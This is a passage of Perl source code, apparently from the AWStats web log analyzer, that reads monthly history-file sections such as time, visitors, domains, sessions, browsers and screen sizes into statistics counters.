$MonthRequired eq 'all' 3994 || $MonthRequired eq "$month" ) 3995 { # Still required 3996 $countloaded++; 3997 if ( $field[1] ) { 3998 $_time_p[ $field[0] ] += int( $field[1] ); 3999 } 4000 if ( $field[2] ) { 4001 $_time_h[ $field[0] ] += int( $field[2] ); 4002 } 4003 if ( $field[3] ) { 4004 $_time_k[ $field[0] ] += int( $field[3] ); 4005 } 4006 if ( $field[4] ) { 4007 $_time_nv_p[ $field[0] ] += 4008 int( $field[4] ); 4009 } 4010 if ( $field[5] ) { 4011 $_time_nv_h[ $field[0] ] += 4012 int( $field[5] ); 4013 } 4014 if ( $field[6] ) { 4015 $_time_nv_k[ $field[0] ] += 4016 int( $field[6] ); 4017 } 4018 } 4019 $monthpages += int( $field[1] ); 4020 $monthhits += int( $field[2] ); 4021 $monthbytes += int( $field[3] ); 4022 $monthnotviewedpages += int( $field[4] || 0 ); 4023 $monthnotviewedhits += int( $field[5] || 0 ); 4024 $monthnotviewedbytes += int( $field[6] || 0 ); 4025 } 4026 } 4027 $_ = <HISTORY>; 4028 chomp $_; 4029 s/\r//; 4030 @field = 4031 split( /\s+/, 4032 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4033 $countlines++; 4034 } until ( $field[0] eq 'END_TIME' 4035 || $field[0] eq "${xmleb}END_TIME" 4036 || !$_ ); 4037 if ( $field[0] ne 'END_TIME' 4038 && $field[0] ne "${xmleb}END_TIME" ) 4039 { 4040 error( 4041"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4042 "", "", 1 4043 ); 4044 } 4045 if ($Debug) { 4046 debug( 4047" End of TIME section ($count entries, $countloaded loaded)" 4048 ); 4049 } 4050 $MonthPages{ $year . $month } += $monthpages; 4051 $MonthHits{ $year . $month } += $monthhits; 4052 $MonthBytes{ $year . $month } += $monthbytes; 4053 $MonthNotViewedPages{ $year . $month } += $monthnotviewedpages; 4054 $MonthNotViewedHits{ $year . $month } += $monthnotviewedhits; 4055 $MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes; 4056 delete $SectionsToLoad{'time'}; 4057 4058 if ( $SectionsToSave{'time'} ) { 4059 Save_History( 'time', $year, $month, $date ); 4060 delete $SectionsToSave{'time'}; 4061 if ($withpurge) { 4062 @_time_p = (); 4063 @_time_h = (); 4064 @_time_k = (); 4065 @_time_nv_p = (); 4066 @_time_nv_h = (); 4067 @_time_nv_k = (); 4068 } 4069 } 4070 if ( !scalar %SectionsToLoad ) { 4071 debug(" Stop reading history file. Got all we need."); 4072 last; 4073 } 4074 next; 4075 } 4076 4077 # BEGIN_ORIGIN 4078 if ( $field[0] eq 'BEGIN_ORIGIN' ) { 4079 if ($Debug) { debug(" Begin of ORIGIN section"); } 4080 $field[0] = ''; 4081 my $count = 0; 4082 my $countloaded = 0; 4083 do { 4084 if ( $field[0] ) { 4085 $count++; 4086 if ( $SectionsToLoad{'origin'} ) { 4087 if ( $field[0] eq 'From0' ) { 4088 $_from_p[0] += $field[1]; 4089 $_from_h[0] += $field[2]; 4090 } 4091 elsif ( $field[0] eq 'From1' ) { 4092 $_from_p[1] += $field[1]; 4093 $_from_h[1] += $field[2]; 4094 } 4095 elsif ( $field[0] eq 'From2' ) { 4096 $_from_p[2] += $field[1]; 4097 $_from_h[2] += $field[2]; 4098 } 4099 elsif ( $field[0] eq 'From3' ) { 4100 $_from_p[3] += $field[1]; 4101 $_from_h[3] += $field[2]; 4102 } 4103 elsif ( $field[0] eq 'From4' ) { 4104 $_from_p[4] += $field[1]; 4105 $_from_h[4] += $field[2]; 4106 } 4107 elsif ( $field[0] eq 'From5' ) { 4108 $_from_p[5] += $field[1]; 4109 $_from_h[5] += $field[2]; 4110 } 4111 } 4112 } 4113 $_ = <HISTORY>; 4114 chomp $_; 4115 s/\r//; 4116 @field = 4117 split( /\s+/, 4118 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4119 $countlines++; 4120 } until ( $field[0] eq 'END_ORIGIN' 4121 || $field[0] eq "${xmleb}END_ORIGIN" 4122 || !$_ ); 4123 if ( $field[0] ne 'END_ORIGIN' 4124 && $field[0] ne "${xmleb}END_ORIGIN" ) 4125 { 4126 error( 4127"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4128 "", "", 1 4129 ); 4130 } 4131 if ($Debug) { 4132 debug( 4133" End of ORIGIN section ($count entries, $countloaded loaded)" 4134 ); 4135 } 4136 delete $SectionsToLoad{'origin'}; 4137 if ( $SectionsToSave{'origin'} ) { 4138 Save_History( 'origin', $year, $month, $date ); 4139 delete $SectionsToSave{'origin'}; 4140 if ($withpurge) { @_from_p = (); @_from_h = (); } 4141 } 4142 if ( !scalar %SectionsToLoad ) { 4143 debug(" Stop reading history file. Got all we need."); 4144 last; 4145 } 4146 next; 4147 } 4148 4149 # BEGIN_DAY 4150 if ( $field[0] eq 'BEGIN_DAY' ) { 4151 if ($Debug) { debug(" Begin of DAY section"); } 4152 $field[0] = ''; 4153 my $count = 0; 4154 my $countloaded = 0; 4155 do { 4156 if ( $field[0] ) { 4157 $count++; 4158 if ( $SectionsToLoad{'day'} ) { 4159 $countloaded++; 4160 if ( $field[1] ) { 4161 $DayPages{ $field[0] } += int( $field[1] ); 4162 } 4163 $DayHits{ $field[0] } += 4164 int( $field[2] ) 4165 ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration) 4166 if ( $field[3] ) { 4167 $DayBytes{ $field[0] } += int( $field[3] ); 4168 } 4169 if ( $field[4] ) { 4170 $DayVisits{ $field[0] } += int( $field[4] ); 4171 } 4172 } 4173 } 4174 $_ = <HISTORY>; 4175 chomp $_; 4176 s/\r//; 4177 @field = 4178 split( /\s+/, 4179 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4180 $countlines++; 4181 } until ( $field[0] eq 'END_DAY' 4182 || $field[0] eq "${xmleb}END_DAY" 4183 || !$_ ); 4184 if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" ) 4185 { 4186 error( 4187"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4188 "", "", 1 4189 ); 4190 } 4191 if ($Debug) { 4192 debug( 4193" End of DAY section ($count entries, $countloaded loaded)" 4194 ); 4195 } 4196 delete $SectionsToLoad{'day'}; 4197 4198# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR 4199#if ($SectionsToSave{'day'}) { # Must be made after read of visitor 4200# Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'}; 4201# if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); } 4202#} 4203 if ( !scalar %SectionsToLoad ) { 4204 debug(" Stop reading history file. Got all we need."); 4205 last; 4206 } 4207 next; 4208 } 4209 4210 # BEGIN_VISITOR 4211 if ( $field[0] eq 'BEGIN_VISITOR' ) { 4212 if ($Debug) { debug(" Begin of VISITOR section"); } 4213 $field[0] = ''; 4214 my $count = 0; 4215 my $countloaded = 0; 4216 do { 4217 if ( $field[0] ) { 4218 $count++; 4219 4220 # For backward compatibility 4221 if ($readvisitorforbackward) { 4222 if ( $field[1] ) { 4223 $MonthUnique{ $year . $month }++; 4224 } 4225 if ( $MonthRequired ne 'all' ) { 4226 if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/ 4227 && $field[0] !~ /^[0-9A-F]*:/i ) 4228 { 4229 $MonthHostsKnown{ $year . $month }++; 4230 } 4231 else { $MonthHostsUnknown{ $year . $month }++; } 4232 } 4233 } 4234 4235 # Process data saved in 'wait' arrays 4236 if ( $withupdate && $_waithost_e{ $field[0] } ) { 4237 my $timehostl = int( $field[4] || 0 ); 4238 my $timehosts = int( $field[5] || 0 ); 4239 my $newtimehosts = ( 4240 $_waithost_s{ $field[0] } 4241 ? $_waithost_s{ $field[0] } 4242 : $_host_s{ $field[0] } 4243 ); 4244 my $newtimehostl = ( 4245 $_waithost_l{ $field[0] } 4246 ? $_waithost_l{ $field[0] } 4247 : $_host_l{ $field[0] } 4248 ); 4249 if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) { 4250 if ($Debug) { 4251 debug( 4252" Visit for $field[0] in 'wait' arrays is a new visit different than last in history", 4253 4 4254 ); 4255 } 4256 if ( $field[6] ) { $_url_x{ $field[6] }++; } 4257 $_url_e{ $_waithost_e{ $field[0] } }++; 4258 $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; 4259 $DayVisits{$1}++; 4260 if ( $timehosts && $timehostl ) { 4261 $_session{ 4262 GetSessionRange( $timehosts, 4263 $timehostl ) 4264 }++; 4265 } 4266 if ( $_waithost_s{ $field[0] } ) { 4267 4268 # First session found in log was followed by another one so it's finished 4269 $_session{ 4270 GetSessionRange( $newtimehosts, 4271 $newtimehostl ) 4272 }++; 4273 } 4274 4275 # Here $_host_l $_host_s and $_host_u are correctly defined 4276 } 4277 else { 4278 if ($Debug) { 4279 debug( 4280" Visit for $field[0] in 'wait' arrays is following of last visit in history", 4281 4 4282 ); 4283 } 4284 if ( $_waithost_s{ $field[0] } ) { 4285 4286 # First session found in log was followed by another one so it's finished 4287 $_session{ 4288 GetSessionRange( 4289 MinimumButNoZero( 4290 $timehosts, $newtimehosts 4291 ), 4292 $timehostl > $newtimehostl 4293 ? $timehostl 4294 : $newtimehostl 4295 ) 4296 }++; 4297 4298 # Here $_host_l $_host_s and $_host_u are correctly defined 4299 } 4300 else { 4301 4302 # We correct $_host_l $_host_s and $_host_u 4303 if ( $timehostl > $newtimehostl ) { 4304 $_host_l{ $field[0] } = $timehostl; 4305 $_host_u{ $field[0] } = $field[6]; 4306 } 4307 if ( $timehosts < $newtimehosts ) { 4308 $_host_s{ $field[0] } = $timehosts; 4309 } 4310 } 4311 } 4312 delete $_waithost_e{ $field[0] }; 4313 delete $_waithost_l{ $field[0] }; 4314 delete $_waithost_s{ $field[0] }; 4315 delete $_waithost_u{ $field[0] }; 4316 } 4317 4318 # Load records 4319 if ( $readvisitorforbackward != 2 4320 && $SectionsToLoad{'visitor'} ) 4321 { # if readvisitorforbackward==2 we do not load 4322 my $loadrecord = 0; 4323 if ($withupdate) { 4324 $loadrecord = 1; 4325 } 4326 else { 4327 if ( $HTMLOutput{'allhosts'} 4328 || $HTMLOutput{'lasthosts'} ) 4329 { 4330 if ( 4331 ( 4332 !$FilterIn{'host'} 4333 || $field[0] =~ /$FilterIn{'host'}/i 4334 ) 4335 && ( !$FilterEx{'host'} 4336 || $field[0] !~ 4337 /$FilterEx{'host'}/i ) 4338 ) 4339 { 4340 $loadrecord = 1; 4341 } 4342 } 4343 elsif ($MonthRequired eq 'all' 4344 || $field[2] >= $MinHit{'Host'} ) 4345 { 4346 if ( 4347 $HTMLOutput{'unknownip'} 4348 && ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/ 4349 || $field[0] =~ /^[0-9A-F]*:/i ) 4350 ) 4351 { 4352 $loadrecord = 1; 4353 } 4354 elsif ( 4355 $HTMLOutput{'main'} 4356 && ( $MonthRequired eq 'all' 4357 || $countloaded < 4358 $MaxNbOf{'HostsShown'} ) 4359 ) 4360 { 4361 $loadrecord = 1; 4362 } 4363 } 4364 } 4365 if ($loadrecord) { 4366 if ( $field[1] ) { 4367 $_host_p{ $field[0] } += $field[1]; 4368 } 4369 if ( $field[2] ) { 4370 $_host_h{ $field[0] } += $field[2]; 4371 } 4372 if ( $field[3] ) { 4373 $_host_k{ $field[0] } += $field[3]; 4374 } 4375 if ( $field[4] && !$_host_l{ $field[0] } ) 4376 { # We save last connexion params if not previously defined 4377 $_host_l{ $field[0] } = int( $field[4] ); 4378 if ($withupdate) 4379 { # field[5] field[6] are used only for update 4380 if ( $field[5] 4381 && !$_host_s{ $field[0] } ) 4382 { 4383 $_host_s{ $field[0] } = 4384 int( $field[5] ); 4385 } 4386 if ( $field[6] 4387 && !$_host_u{ $field[0] } ) 4388 { 4389 $_host_u{ $field[0] } = $field[6]; 4390 } 4391 } 4392 } 4393 $countloaded++; 4394 } 4395 } 4396 } 4397 $_ = <HISTORY>; 4398 chomp $_; 4399 s/\r//; 4400 @field = 4401 split( /\s+/, 4402 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4403 $countlines++; 4404 } until ( $field[0] eq 'END_VISITOR' 4405 || $field[0] eq "${xmleb}END_VISITOR" 4406 || !$_ ); 4407 if ( $field[0] ne 'END_VISITOR' 4408 && $field[0] ne "${xmleb}END_VISITOR" ) 4409 { 4410 error( 4411"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4412 "", "", 1 4413 ); 4414 } 4415 if ($Debug) { 4416 debug( 4417" End of VISITOR section ($count entries, $countloaded loaded)" 4418 ); 4419 } 4420 delete $SectionsToLoad{'visitor'}; 4421 4422# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE 4423#if ($SectionsToSave{'visitor'}) { 4424# Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'}; 4425# if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); } 4426#} 4427 if ( !scalar %SectionsToLoad ) { 4428 debug(" Stop reading history file. Got all we need."); 4429 last; 4430 } 4431 next; 4432 } 4433 4434 # BEGIN_UNKNOWNIP for backward compatibility 4435 if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) { 4436 my %iptomigrate = (); 4437 if ($Debug) { debug(" Begin of UNKNOWNIP section"); } 4438 $field[0] = ''; 4439 my $count = 0; 4440 my $countloaded = 0; 4441 do { 4442 if ( $field[0] ) { 4443 $count++; 4444 if ( $SectionsToLoad{'unknownip'} ) { 4445 $iptomigrate{ $field[0] } = $field[1] || 0; 4446 $countloaded++; 4447 } 4448 } 4449 $_ = <HISTORY>; 4450 chomp $_; 4451 s/\r//; 4452 @field = 4453 split( /\s+/, 4454 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4455 $countlines++; 4456 } until ( $field[0] eq 'END_UNKNOWNIP' 4457 || $field[0] eq "${xmleb}END_UNKNOWNIP" 4458 || !$_ ); 4459 if ( $field[0] ne 'END_UNKNOWNIP' 4460 && $field[0] ne "${xmleb}END_UNKNOWNIP" ) 4461 { 4462 error( 4463"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4464 "", "", 1 4465 ); 4466 } 4467 if ($Debug) { 4468 debug( 4469" End of UNKOWNIP section ($count entries, $countloaded loaded)" 4470 ); 4471 } 4472 delete $SectionsToLoad{'visitor'}; 4473 4474# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION 4475 foreach ( keys %iptomigrate ) { 4476 $_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded ); 4477 $_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded ); 4478 $_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded ); 4479 if ( $iptomigrate{$_} > 0 ) { 4480 $_host_l{$_} = $iptomigrate{$_}; 4481 } 4482 } 4483 delete $_host_p{'Unknown'}; 4484 delete $_host_h{'Unknown'}; 4485 delete $_host_k{'Unknown'}; 4486 delete $_host_l{'Unknown'}; 4487 if ( !scalar %SectionsToLoad ) { 4488 debug(" Stop reading history file. Got all we need."); 4489 last; 4490 } 4491 next; 4492 } 4493 4494 # BEGIN_LOGIN 4495 if ( $field[0] eq 'BEGIN_LOGIN' ) { 4496 if ($Debug) { debug(" Begin of LOGIN section"); } 4497 $field[0] = ''; 4498 my $count = 0; 4499 my $countloaded = 0; 4500 do { 4501 if ( $field[0] ) { 4502 $count++; 4503 if ( $SectionsToLoad{'login'} ) { 4504 $countloaded++; 4505 if ( $field[1] ) { 4506 $_login_p{ $field[0] } += $field[1]; 4507 } 4508 if ( $field[2] ) { 4509 $_login_h{ $field[0] } += $field[2]; 4510 } 4511 if ( $field[3] ) { 4512 $_login_k{ $field[0] } += $field[3]; 4513 } 4514 if ( !$_login_l{ $field[0] } && $field[4] ) { 4515 $_login_l{ $field[0] } = int( $field[4] ); 4516 } 4517 } 4518 } 4519 $_ = <HISTORY>; 4520 chomp $_; 4521 s/\r//; 4522 @field = 4523 split( /\s+/, 4524 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4525 $countlines++; 4526 } until ( $field[0] eq 'END_LOGIN' 4527 || $field[0] eq "${xmleb}END_LOGIN" 4528 || !$_ ); 4529 if ( $field[0] ne 'END_LOGIN' 4530 && $field[0] ne "${xmleb}END_LOGIN" ) 4531 { 4532 error( 4533"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4534 "", "", 1 4535 ); 4536 } 4537 if ($Debug) { 4538 debug( 4539" End of LOGIN section ($count entries, $countloaded loaded)" 4540 ); 4541 } 4542 delete $SectionsToLoad{'login'}; 4543 if ( $SectionsToSave{'login'} ) { 4544 Save_History( 'login', $year, $month, $date ); 4545 delete $SectionsToSave{'login'}; 4546 if ($withpurge) { 4547 %_login_p = (); 4548 %_login_h = (); 4549 %_login_k = (); 4550 %_login_l = (); 4551 } 4552 } 4553 if ( !scalar %SectionsToLoad ) { 4554 debug(" Stop reading history file. Got all we need."); 4555 last; 4556 } 4557 next; 4558 } 4559 4560 # BEGIN_DOMAIN 4561 if ( $field[0] eq 'BEGIN_DOMAIN' ) { 4562 if ($Debug) { debug(" Begin of DOMAIN section"); } 4563 $field[0] = ''; 4564 my $count = 0; 4565 my $countloaded = 0; 4566 do { 4567 if ( $field[0] ) { 4568 $count++; 4569 if ( $SectionsToLoad{'domain'} ) { 4570 $countloaded++; 4571 if ( $field[1] ) { 4572 $_domener_p{ $field[0] } += $field[1]; 4573 } 4574 if ( $field[2] ) { 4575 $_domener_h{ $field[0] } += $field[2]; 4576 } 4577 if ( $field[3] ) { 4578 $_domener_k{ $field[0] } += $field[3]; 4579 } 4580 } 4581 } 4582 $_ = <HISTORY>; 4583 chomp $_; 4584 s/\r//; 4585 @field = 4586 split( /\s+/, 4587 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4588 $countlines++; 4589 } until ( $field[0] eq 'END_DOMAIN' 4590 || $field[0] eq "${xmleb}END_DOMAIN" 4591 || !$_ ); 4592 if ( $field[0] ne 'END_DOMAIN' 4593 && $field[0] ne "${xmleb}END_DOMAIN" ) 4594 { 4595 error( 4596"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4597 "", "", 1 4598 ); 4599 } 4600 if ($Debug) { 4601 debug( 4602" End of DOMAIN section ($count entries, $countloaded loaded)" 4603 ); 4604 } 4605 delete $SectionsToLoad{'domain'}; 4606 if ( $SectionsToSave{'domain'} ) { 4607 Save_History( 'domain', $year, $month, $date ); 4608 delete $SectionsToSave{'domain'}; 4609 if ($withpurge) { 4610 %_domener_p = (); 4611 %_domener_h = (); 4612 %_domener_k = (); 4613 } 4614 } 4615 if ( !scalar %SectionsToLoad ) { 4616 debug(" Stop reading history file. Got all we need."); 4617 last; 4618 } 4619 next; 4620 } 4621 4622 # BEGIN_SESSION 4623 if ( $field[0] eq 'BEGIN_SESSION' ) { 4624 if ($Debug) { debug(" Begin of SESSION section"); } 4625 $field[0] = ''; 4626 my $count = 0; 4627 my $countloaded = 0; 4628 do { 4629 if ( $field[0] ) { 4630 $count++; 4631 if ( $SectionsToLoad{'session'} ) { 4632 $countloaded++; 4633 if ( $field[1] ) { 4634 $_session{ $field[0] } += $field[1]; 4635 } 4636 } 4637 } 4638 $_ = <HISTORY>; 4639 chomp $_; 4640 s/\r//; 4641 @field = 4642 split( /\s+/, 4643 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4644 $countlines++; 4645 } until ( $field[0] eq 'END_SESSION' 4646 || $field[0] eq "${xmleb}END_SESSION" 4647 || !$_ ); 4648 if ( $field[0] ne 'END_SESSION' 4649 && $field[0] ne "${xmleb}END_SESSION" ) 4650 { 4651 error( 4652"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4653 "", "", 1 4654 ); 4655 } 4656 if ($Debug) { 4657 debug( 4658" End of SESSION section ($count entries, $countloaded loaded)" 4659 ); 4660 } 4661 delete $SectionsToLoad{'session'}; 4662 4663# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR 4664#if ($SectionsToSave{'session'}) { 4665# Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; } 4666# if ($withpurge) { %_session=(); } 4667#} 4668 if ( !scalar %SectionsToLoad ) { 4669 debug(" Stop reading history file. Got all we need."); 4670 last; 4671 } 4672 next; 4673 } 4674 4675 # BEGIN_OS 4676 if ( $field[0] eq 'BEGIN_OS' ) { 4677 if ($Debug) { debug(" Begin of OS section"); } 4678 $field[0] = ''; 4679 my $count = 0; 4680 my $countloaded = 0; 4681 do { 4682 if ( $field[0] ) { 4683 $count++; 4684 if ( $SectionsToLoad{'os'} ) { 4685 $countloaded++; 4686 if ( $field[1] ) { 4687 $_os_h{ $field[0] } += $field[1]; 4688 $_os_p{ $field[0] } += $field[2]; 4689 } 4690 } 4691 } 4692 $_ = <HISTORY>; 4693 chomp $_; 4694 s/\r//; 4695 @field = 4696 split( /\s+/, 4697 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4698 $countlines++; 4699 } until ( $field[0] eq 'END_OS' 4700 || $field[0] eq "${xmleb}END_OS" 4701 || !$_ ); 4702 if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) { 4703 error( 4704"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4705 "", "", 1 4706 ); 4707 } 4708 if ($Debug) { 4709 debug( 4710" End of OS section ($count entries, $countloaded loaded)" 4711 ); 4712 } 4713 delete $SectionsToLoad{'os'}; 4714 if ( $SectionsToSave{'os'} ) { 4715 Save_History( 'os', $year, $month, $date ); 4716 delete $SectionsToSave{'os'}; 4717 if ($withpurge) { %_os_h = (); %_os_p = (); } 4718 } 4719 if ( !scalar %SectionsToLoad ) { 4720 debug(" Stop reading history file. Got all we need."); 4721 last; 4722 } 4723 next; 4724 } 4725 4726 # BEGIN_BROWSER 4727 if ( $field[0] eq 'BEGIN_BROWSER' ) { 4728 if ($Debug) { debug(" Begin of BROWSER section"); } 4729 $field[0] = ''; 4730 my $count = 0; 4731 my $countloaded = 0; 4732 do { 4733 if ( $field[0] ) { 4734 $count++; 4735 if ( $SectionsToLoad{'browser'} ) { 4736 $countloaded++; 4737 if ( $field[1] ) { 4738 $_browser_h{ $field[0] } += $field[1]; 4739 $_browser_p{ $field[0] } += $field[2]; 4740 } 4741 } 4742 } 4743 $_ = <HISTORY>; 4744 chomp $_; 4745 s/\r//; 4746 @field = 4747 split( /\s+/, 4748 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4749 $countlines++; 4750 } until ( $field[0] eq 'END_BROWSER' 4751 || $field[0] eq "${xmleb}END_BROWSER" 4752 || !$_ ); 4753 if ( $field[0] ne 'END_BROWSER' 4754 && $field[0] ne "${xmleb}END_BROWSER" ) 4755 { 4756 error( 4757"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4758 "", "", 1 4759 ); 4760 } 4761 if ($Debug) { 4762 debug( 4763" End of BROWSER section ($count entries, $countloaded loaded)" 4764 ); 4765 } 4766 delete $SectionsToLoad{'browser'}; 4767 if ( $SectionsToSave{'browser'} ) { 4768 Save_History( 'browser', $year, $month, $date ); 4769 delete $SectionsToSave{'browser'}; 4770 if ($withpurge) { %_browser_h = (); %_browser_p = (); } 4771 } 4772 if ( !scalar %SectionsToLoad ) { 4773 debug(" Stop reading history file. Got all we need."); 4774 last; 4775 } 4776 next; 4777 } 4778 4779 # BEGIN_UNKNOWNREFERER 4780 if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) { 4781 if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); } 4782 $field[0] = ''; 4783 my $count = 0; 4784 my $countloaded = 0; 4785 do { 4786 if ( $field[0] ) { 4787 $count++; 4788 if ( $SectionsToLoad{'unknownreferer'} ) { 4789 $countloaded++; 4790 if ( !$_unknownreferer_l{ $field[0] } ) { 4791 $_unknownreferer_l{ $field[0] } = 4792 int( $field[1] ); 4793 } 4794 } 4795 } 4796 $_ = <HISTORY>; 4797 chomp $_; 4798 s/\r//; 4799 @field = 4800 split( /\s+/, 4801 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4802 $countlines++; 4803 } until ( $field[0] eq 'END_UNKNOWNREFERER' 4804 || $field[0] eq "${xmleb}END_UNKNOWNREFERER" 4805 || !$_ ); 4806 if ( $field[0] ne 'END_UNKNOWNREFERER' 4807 && $field[0] ne "${xmleb}END_UNKNOWNREFERER" ) 4808 { 4809 error( 4810"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4811 "", "", 1 4812 ); 4813 } 4814 if ($Debug) { 4815 debug( 4816" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)" 4817 ); 4818 } 4819 delete $SectionsToLoad{'unknownreferer'}; 4820 if ( $SectionsToSave{'unknownreferer'} ) { 4821 Save_History( 'unknownreferer', $year, $month, $date ); 4822 delete $SectionsToSave{'unknownreferer'}; 4823 if ($withpurge) { %_unknownreferer_l = (); } 4824 } 4825 if ( !scalar %SectionsToLoad ) { 4826 debug(" Stop reading history file. Got all we need."); 4827 last; 4828 } 4829 next; 4830 } 4831 4832 # BEGIN_UNKNOWNREFERERBROWSER 4833 if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) { 4834 if ($Debug) { 4835 debug(" Begin of UNKNOWNREFERERBROWSER section"); 4836 } 4837 $field[0] = ''; 4838 my $count = 0; 4839 my $countloaded = 0; 4840 do { 4841 if ( $field[0] ) { 4842 $count++; 4843 if ( $SectionsToLoad{'unknownrefererbrowser'} ) { 4844 $countloaded++; 4845 if ( !$_unknownrefererbrowser_l{ $field[0] } ) { 4846 $_unknownrefererbrowser_l{ $field[0] } = 4847 int( $field[1] ); 4848 } 4849 } 4850 } 4851 $_ = <HISTORY>; 4852 chomp $_; 4853 s/\r//; 4854 @field = 4855 split( /\s+/, 4856 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4857 $countlines++; 4858 } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER' 4859 || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER" 4860 || !$_ ); 4861 if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER' 4862 && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" ) 4863 { 4864 error( 4865"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4866 "", "", 1 4867 ); 4868 } 4869 if ($Debug) { 4870 debug( 4871" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)" 4872 ); 4873 } 4874 delete $SectionsToLoad{'unknownrefererbrowser'}; 4875 if ( $SectionsToSave{'unknownrefererbrowser'} ) { 4876 Save_History( 'unknownrefererbrowser', 4877 $year, $month, $date ); 4878 delete $SectionsToSave{'unknownrefererbrowser'}; 4879 if ($withpurge) { %_unknownrefererbrowser_l = (); } 4880 } 4881 if ( !scalar %SectionsToLoad ) { 4882 debug(" Stop reading history file. Got all we need."); 4883 last; 4884 } 4885 next; 4886 } 4887 4888 # BEGIN_SCREENSIZE 4889 if ( $field[0] eq 'BEGIN_SCREENSIZE' ) { 4890 if ($Debug) { debug(" Begin of SCREENSIZE section"); } 4891 $field[0] = ''; 4892 my $count = 0; 4893 my $countloaded = 0; 4894 do { 4895 if ( $field[0] ) { 4896 $count++; 4897 if ( $SectionsToLoad{'screensize'} ) { 4898 $countloaded++; 4899 if ( $field[1] ) { 4900 $_screensize_h{ $field[0] } += $field[1]; 4901 } 4902 } 4903 } 4904 $_ = <HISTORY>; 4905 chomp $_; 4906 s/\r//; 4907 @field = 4908 split( /\s+/, 4909 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4910 $countlines++; 4911 } until ( $field[0] eq 'END_SCREENSIZE' 4912 || $field[0] eq "${xmleb}END_SCREENSIZE" 4913 || !$_ ); 4914 if ( $field[0] ne 'END_SCREENSIZE' 4915 && $field[0] ne "${xmleb}END_SCREENSIZE" ) 4916 { 4917 error( 4918"History file \"$filetoread\" is corrupted (End of section 